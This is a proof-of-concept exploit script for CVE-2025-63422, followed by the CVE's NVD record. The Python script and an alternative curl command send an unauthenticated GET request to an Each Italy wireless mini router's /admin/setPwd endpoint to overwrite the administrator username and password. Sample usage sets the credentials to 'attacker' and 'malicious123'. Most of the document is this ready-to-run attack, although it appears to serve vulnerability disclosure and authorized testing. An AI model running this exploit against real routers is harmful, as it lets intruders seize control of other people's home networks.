CVE-2025-63422

#!/usr/bin/env python3 """ CVE-2025-63422 PoC - Each Italy Wireless Router Admin Password Change Exploit Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import argparse def exploit(target_ip, new_username, new_password): """ Exploit CVE-2025-63422 by changing admin credentials without authentication. Args: target_ip: Target router IP address new_username: New admin username to set new_password: New admin password to set """ # Target management interface endpoint base_url = f"http://{target_ip}" # Crafted GET request to modify admin credentials # This endpoint lacks proper authentication checks exploit_url = f"{base_url}/admin/setPwd?username={new_username}&password={new_password}" print(f"[*] Target: {target_ip}") print(f"[*] Attempting to change admin credentials...") print(f"[*] New username: {new_username}") print(f"[*] New password: {new_password}") try: # Send crafted GET request without any authentication response = requests.get(exploit_url, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text}") # Check if exploit was successful if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! Admin credentials modified.") return True else: print("[-] Exploit may have failed. Check response manually.") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): parser = argparse.ArgumentParser( description='CVE-2025-63422 PoC - Each Italy Router Admin Password Change' ) parser.add_argument('target', help='Target router IP address') parser.add_argument('-u', '--username', default='admin', help='New admin username') parser.add_argument('-p', '--password', default='P@ssw0rd123', help='New admin password') args = parser.parse_args() exploit(args.target, args.username, args.password) if __name__ == '__main__': main() # Usage: # python3 cve-2025-63422.py 192.168.1.1 -u attacker -p malicious123 # # Alternative curl command: # curl -i -s "http://TARGET_IP/admin/setPwd?username=attacker&password=malicious123" # # Note: TARGET_IP is the IP address of the affected router

{"cve": {"id": "CVE-2025-63422", "sourceIdentifier": "[email protected]", "published": "2025-10-30T19:16:35.873", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the Web management interface in Each Italy Wireless Mini Router WIRELESS-N 300M v28K.MiniRouter.20190211 allows attackers to arbitrarily change the administrator username and password via sending a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/5ulfur/security-advisories/tree/main/CVE-2025-63422", "source": "[email protected]"}, {"url": "https://imgur.com/a/X9DNOBj", "source": "[email protected]"}]}}